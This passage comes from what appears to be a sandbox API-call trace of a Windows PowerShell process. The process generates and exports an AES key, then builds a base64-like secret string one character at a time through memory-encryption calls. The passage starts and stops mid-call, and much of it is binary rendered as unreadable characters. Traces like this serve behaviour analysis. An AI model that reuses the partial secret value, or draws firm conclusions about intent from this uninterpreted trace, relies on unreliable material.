lpCs=0x5a2e43c) returned 0 [0235.216] GetConsoleOutputCP () returned 0x1b5 [0235.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.217] GetConsoleOutputCP () returned 0x1b5 [0235.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.217] GetConsoleOutputCP () returned 0x1b5 [0235.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.217] GetConsoleOutputCP () returned 0x1b5 [0235.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.217] GetConsoleOutputCP () returned 0x1b5 [0235.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.218] GetConsoleOutputCP () returned 0x1b5 [0235.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.218] GetConsoleOutputCP () returned 0x1b5 [0235.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.218] GetConsoleOutputCP () returned 0x1b5 [0235.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.218] GetConsoleOutputCP () returned 0x1b5 [0235.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.218] GetConsoleOutputCP () returned 0x1b5 [0235.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0235.219] GetConsoleOutputCP () returned 0x1b5 [0235.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0235.219] GetConsoleOutputCP () returned 0x1b5 [0235.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.219] GetConsoleOutputCP () returned 0x1b5 [0235.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0235.219] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0235.219] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.220] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2453068*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2453068*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0235.220] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0235.220] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0235.221] EtwEventActivityIdControl () returned 0x0 [0235.221] EtwEventActivityIdControl () returned 0x0 [0235.222] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.222] EtwEventActivityIdControl () returned 0x0 [0235.222] EtwEventActivityIdControl () returned 0x0 [0235.222] EtwEventActivityIdControl () returned 0x0 [0235.224] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.224] EtwEventActivityIdControl () returned 0x0 [0235.224] EtwEventActivityIdControl () returned 0x0 [0235.224] EtwEventActivityIdControl () returned 0x0 [0235.226] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cff0) returned 1 [0235.227] CryptGenKey (in: hProv=0x5c4cff0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68d00) returned 1 [0235.227] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0235.227] CryptExportKey (in: hKey=0x5c68d00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.227] CryptExportKey (in: hKey=0x5c68d00, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x245aa40, pdwDataLen=0x5a2e8c4 | out: pbData=0x245aa40*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0235.227] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0235.228] EtwEventActivityIdControl () returned 0x0 [0235.228] EtwEventActivityIdControl () returned 0x0 [0235.228] EtwEventActivityIdControl () returned 0x0 [0235.228] SysStringLen (param_1="") returned 0x8 [0235.228] SysStringLen (param_1="R") returned 0x8 [0235.228] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.229] SysStringLen (param_1="Ⳮᶆ㍨鮣骩콓ほ挥") returned 0x8 [0235.229] SysStringLen (param_1="Ⳮᶆ㍨鮣骩콓ほ挥") returned 0x8 [0235.229] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.229] SysStringLen (param_1="R/") returned 0x8 [0235.229] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.229] SysStringLen (param_1="⚦猕嫩⁉쁬婋ꓽ") returned 0x8 [0235.229] SysStringLen (param_1="⚦猕嫩⁉쁬婋ꓽ") returned 0x8 [0235.229] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.229] SysStringLen (param_1="R/o") returned 0x8 [0235.229] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.229] SysStringLen (param_1="콳䧅쥔㌭\磜∎) returned 0x8 [0235.229] SysStringLen (param_1="콳䧅쥔㌭\磜∎) returned 0x8 [0235.229] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.229] SysStringLen (param_1="R/o4") returned 0x8 [0235.229] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.230] SysStringLen (param_1="엌\䏛⇇∵㘅≴) returned 0x8 [0235.230] SysStringLen (param_1="엌\䏛⇇∵㘅≴) returned 0x8 [0235.230] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.230] SysStringLen (param_1="R/o45") returned 0x8 [0235.230] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.230] SysStringLen (param_1="\◞⤟줂⣌꠭滋㛃≗) returned 0x8 [0235.230] SysStringLen (param_1="\◞⤟줂⣌꠭滋㛃≗) returned 0x8 [0235.230] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.230] SysStringLen (param_1="R/o45F") returned 0x8 [0235.230] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.230] SysStringLen (param_1="⬥א⩙훿舡呺") returned 0x8 [0235.230] SysStringLen (param_1="⬥א⩙훿舡呺") returned 0x8 [0235.230] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.230] SysStringLen (param_1="R/o45Fx") returned 0x8 [0235.230] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.231] SysStringLen (param_1="넶⒨豦⯐瞃㻮쮥") returned 0x8 [0235.231] SysStringLen (param_1="넶⒨豦⯐瞃㻮쮥") returned 0x8 [0235.231] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.231] SysStringLen (param_1="R/o45Fx0") returned 0x8 [0235.231] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.231] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎") returned 0x8 [0235.231] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎") returned 0x8 [0235.231] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎") returned 0x8 [0235.232] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎") returned 0x10 [0235.232] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.232] SysStringLen (param_1="R/o45Fx0sഝṘṹ∕뵽䦵") returned 0x10 [0235.232] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.232] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎覯棟扷⾻ᒸ柭ꜜ調") returned 0x10 [0235.232] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎覯棟扷⾻ᒸ柭ꜜ調") returned 0x10 [0235.232] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.232] SysStringLen (param_1="R/o45Fx0sgṘṹ∕뵽䦵") returned 0x10 [0235.232] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.233] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎흤龐ᐿȺ禬ᚡᮞ") returned 0x10 [0235.233] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎흤龐ᐿȺ禬ᚡᮞ") returned 0x10 [0235.233] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.233] SysStringLen (param_1="R/o45Fx0sgeṹ∕뵽䦵") returned 0x10 [0235.233] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.233] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎슪㘑摚乿ﻁ茶궱") returned 0x10 [0235.233] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎슪㘑摚乿ﻁ茶궱") returned 0x10 [0235.233] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.233] SysStringLen (param_1="R/o45Fx0sgetṹ∕뵽䦵") returned 0x10 [0235.233] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.233] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎륇퉀㐺늤쩠쭾ሯ恵") returned 0x10 [0235.233] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎륇퉀㐺늤쩠쭾ሯ恵") returned 0x10 [0235.233] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.233] SysStringLen (param_1="R/o45Fx0sgetY∕뵽䦵") returned 0x10 [0235.233] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.234] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎苋쒏⭼\喃仉⋦) returned 0x10 [0235.234] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎苋쒏⭼\喃仉⋦) returned 0x10 [0235.234] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.234] SysStringLen (param_1="R/o45Fx0sgetYG뵽䦵") returned 0x10 [0235.234] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.234] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎㫘䢲䭓죒鿶줜ⰷ邂") returned 0x10 [0235.234] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎㫘䢲䭓죒鿶줜ⰷ邂") returned 0x10 [0235.234] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.234] SysStringLen (param_1="R/o45Fx0sgetYGQ䦵") returned 0x10 [0235.234] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.234] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎蒨ꕮ揄湲晢㦪ퟌ䉍") returned 0x10 [0235.234] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎蒨ꕮ揄湲晢㦪ퟌ䉍") returned 0x10 [0235.234] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.234] SysStringLen (param_1="R/o45Fx0sgetYGQ+") returned 0x10 [0235.234] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.235] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑") returned 0x10 [0235.235] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑") returned 0x10 [0235.235] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑") returned 0x10 [0235.235] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑") returned 0x18 [0235.235] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.235] SysStringLen (param_1="R/o45Fx0sgetYGQ+G䴉ﵹ䶠㢒菛Ꙣ㦙") returned 0x18 [0235.235] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.235] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑á尣ӫꛝ뚪宽愷‼") returned 0x18 [0235.235] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑á尣ӫꛝ뚪宽愷‼") returned 0x18 [0235.235] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.236] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/ﵹ䶠㢒菛Ꙣ㦙") returned 0x18 [0235.236] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.236] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑疼㚆幼萘錧") returned 0x18 [0235.236] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑疼㚆幼萘錧") returned 0x18 [0235.236] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.236] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8䶠㢒菛Ꙣ㦙") returned 0x18 [0235.236] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.236] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑ڈ鹌삨삔㮱헢禲㴼") returned 0x18 [0235.236] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑ڈ鹌삨삔㮱헢禲㴼") returned 0x18 [0235.236] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.236] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8C㢒菛Ꙣ㦙") returned 0x18 [0235.236] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.236] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑늝涨䲼弙ꙍ鲘鰶") returned 0x18 [0235.236] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑늝涨䲼弙ꙍ鲘鰶") returned 0x18 [0235.236] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.237] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8Cy菛Ꙣ㦙") returned 0x18 [0235.237] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.237] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑䬜ؙ쭧ꎣ㔎肒䗖") returned 0x18 [0235.237] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑䬜ؙ쭧ꎣ㔎肒䗖") returned 0x18 [0235.237] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.237] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvꙢ㦙") returned 0x18 [0235.237] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.237] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑镤⺕홇ˇ譋赝䥗") returned 0x18 [0235.237] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑镤⺕홇ˇ譋赝䥗") returned 0x18 [0235.237] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.237] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvV㦙") returned 0x18 [0235.237] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.237] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑䂌볠㍺멯ᵤ毀ᕲ") returned 0x18 [0235.238] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑䂌볠㍺멯ᵤ毀ᕲ") returned 0x18 [0235.238] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.238] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVr") returned 0x18 [0235.238] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.238] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛⋗) returned 0x18 [0235.238] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛⋗) returned 0x18 [0235.238] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛⋗) returned 0x18 [0235.238] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛⋗) returned 0x20 [0235.238] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.238] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVru椾묙㻒ꩣ쮩꠾ᩕ") returned 0x20 [0235.238] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.239] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛拗鵳或ꂇΔ칃᥿⹁∓) returned 0x20 [0235.239] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛拗鵳或ꂇΔ칃᥿⹁∓) returned 0x20 [0235.239] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.239] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruR묙㻒ꩣ쮩꠾ᩕ") returned 0x20 [0235.239] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.239] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛꧗訯떶䞄䐆\ᓟ佋뒉") returned 0x20 [0235.239] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛꧗訯떶䞄䐆\ᓟ佋뒉") returned 0x20 [0235.239] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.239] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRo㻒ꩣ쮩꠾ᩕ") returned 0x20 [0235.239] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.239] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛돗⦄릚﬉춎ꡀ虙뛮⋒) returned 0x20 [0235.239] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛돗⦄릚﬉춎ꡀ虙뛮⋒) returned 0x20 [0235.239] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.239] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRowꩣ쮩꠾ᩕ") returned 0x20 [0235.239] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.240] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛죗㦍敊쩁㈡齂䘸涁⊁) returned 0x20 [0235.240] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛죗㦍敊쩁㈡齂䘸涁⊁) returned 0x20 [0235.240] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.240] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9쮩꠾ᩕ") returned 0x20 [0235.240] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.240] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛㿗壕↍錪ꎲ翀敱˦⊹) returned 0x20 [0235.240] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛㿗壕↍錪ꎲ翀敱˦⊹) returned 0x20 [0235.240] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.240] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9Y꠾ᩕ") returned 0x20 [0235.240] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.240] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛냗蕇돘쀹폀๤∣) returned 0x20 [0235.240] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛냗蕇돘쀹폀๤∣) returned 0x20 [0235.240] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.240] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAᩕ") returned 0x20 [0235.241] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.241] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛˗࢝믰₸꺽뺭ꐲ᫙≌) returned 0x20 [0235.241] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛˗࢝믰₸꺽뺭ꐲ᫙≌) returned 0x20 [0235.241] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.241] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAO") returned 0x20 [0235.241] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.241] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙≦) returned 0x20 [0235.241] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙≦) returned 0x20 [0235.241] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙≦) returned 0x20 [0235.241] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙屦砀㄀　∀) returned 0x28 [0235.241] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.242] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOC뽗梊∄⺿㵲䧏") returned 0x28 [0235.242] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.242] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙晦勀\꿘ᆣ뀬") returned 0x28 [0235.242] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙晦勀\꿘ᆣ뀬") returned 0x28 [0235.242] SystemFunction041 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.242] SysStringLen (param_1="R/o45Fx0sgetYGQ+G/8CyvVruRow9YAOCv梊∄⺿㵲䧏") returned 0x28 [0235.242] SystemFunction040 (in: Memory=0x5c9ae4c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ae4c) returned 0x0 [0235.242] SysStringLen 